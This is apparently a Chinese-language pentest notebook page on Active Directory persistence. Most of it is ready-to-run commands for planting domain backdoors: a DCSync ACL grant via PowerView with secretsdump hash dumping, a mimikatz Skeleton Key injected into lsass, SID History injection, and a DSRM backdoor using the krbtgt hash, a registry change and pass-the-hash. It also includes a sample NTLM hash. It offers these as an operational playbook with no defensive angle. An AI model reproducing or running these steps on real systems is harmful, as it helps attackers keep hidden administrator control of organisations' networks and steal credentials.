权限维持

除了常见的维持权限的方法外,在域内还有一些扩展的权限维持的办法。

票据

拿到hash,制作 黄金票据白银票据

委派

可参考 基于资源的约束委派 利用。

DCSYNC后门(ACL

之前在ACL的时候提过,给普通用户添加如下ACE,就可以使其获得dcsync权限

  • DS-Replication-Get-Changes (GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes-All (GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
  • DS-Replication-Get-Changes (GUID:89e95b76-444d-4c62-991a-0facbeda640c)

powerview.ps1中集成了,可以直接用如下命令:

Import-Module .\PowerView.ps1

#给域用户hack添加以上三条ACE
Add-DomainObjectAcl -TargetIdentity "DC=org,DC=gm7" -PrincipalIdentity d4m1ts -Rights DCSync -Verbose

#给域用户hack删除以上三条ACE
Remove-DomainObjectAcl -TargetIdentity "DC=org,DC=gm7" -PrincipalIdentity d4m1ts -Rights DCSync -Verbose

然后就可以随时dump hash了

python3 secretsdump.py org.gm7/d4m1ts:[email protected] -dc-ip 172.16.93.3

万能密码(Skeleton Key)

当拿到域控权限后,使用mimikatz可以注入Skeleon Key,将 Skeleton Key 注入域控制器的 lsass.exe 进程,这样会在域内的所有账号中添加一个 Skeleton Key,而这个key是自己设定的所以可以随时共享访问。

因为是注入到进程的,所以重启后会失效!

代码:https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_misc.c

使用mimikatz在域控安装Skeleton Key,密码是 mimikatz

mimikatz.exe "privilege::debug" "misc::skeleton" "exit"

安装好后使用设定的密码mimikatz可登录域控

net use \\PDC.org.gm7 mimikatz /user:administrator
PsExec64.exe -s \\PDC cmd

SID History后门

sid history:当我们把域A的用户x迁移到域B时,B域中x的sid会发生改变,随即而来的是权限也会发生改变。所以为了避免这种权限改变,sid history诞生了, 系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。

在DC中还是使用mimikatz:

# 将administrator的SID添加到d4m1ts的sid history属性
mimikatz.exe "privilege::debug" "sid::patch" "sid::add /sam:d4m1ts /new:administrator" "exit"

可以查看d4m1ts用户的SID History属性,500就表示管理权限。

Import-Module ActiveDirectory
Get-ADUser d4m1ts -Properties sidhistory

image-20240509下午14116910

后续用d4m1ts的账号就和原来administrator的权限一样了。

DSRM域后门

目录服务恢复模式(DSRM,Directory Services Restore Mode),是Windows服务器域控制器的安全模式启动选项。DSRM允许管理员用来修复或还原修复或重建活动目录数据库。活动目录安装后,安装向导提示管理员选择一个DSRM密码。有了密码,管理员可以防护数据库后门,避免之后出问题。但是它不提供访问域或任何服务。如果DSRM密码忘了,可以使用命令行工具NTDSUtil进行更改。

在渗透测试中,可以使用DSRM对域环境进行持久化操作。适用版本为windows server2008(需安装KB961320才可以使用指定域账号的密码对DSRM的密码进行同步)及以后的版本,windows server2003不能使用此方法。

过程:

先拿到krbtgt的hash

mimikatz "privilege::debug" "lsadump::lsa /patch /name:krbtgt" "exit"

再读取本地管理员账号也就是DSRM账号的NTLM Hash

mimikatz "privilege::debug" "token::elevate" "lsadump::sam" "exit"

将DSRM账号和krbtgt的NTLM Hash同步

  1. 域控上输入ntdsutil
  2. 我们先修改DSRM密码set DSRM password
  3. 然后输入sync from domain account 域用户名字krbtgt
  4. q(第1次):退出DSRM密码设置模式
  5. q(第2次):退出ntdsutil

image-20240509下午23532242

这时DSRM账号的hash就和krbtgt的hash一样了。修改DSRM的登陆方式:

DSRM登陆方式有三种,具体如下:

  • 0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
  • 1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
  • 2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

这时候就可以用刚才的hash上域管了

privilege::Debug
sekurlsa::pth /domain:org.gm7 /user:administrator /ntlm:50c2ee6b1ac902c236e3354754e3037a

组策略

在拿到DC的情况下,可通过配置组策略实现权限维持,参考 组策略操作

Copyright © d4m1ts 2023 all right reserved,powered by Gitbook该文章修订时间: 2024-05-11 14:38:27

results matching ""

    No results matching ""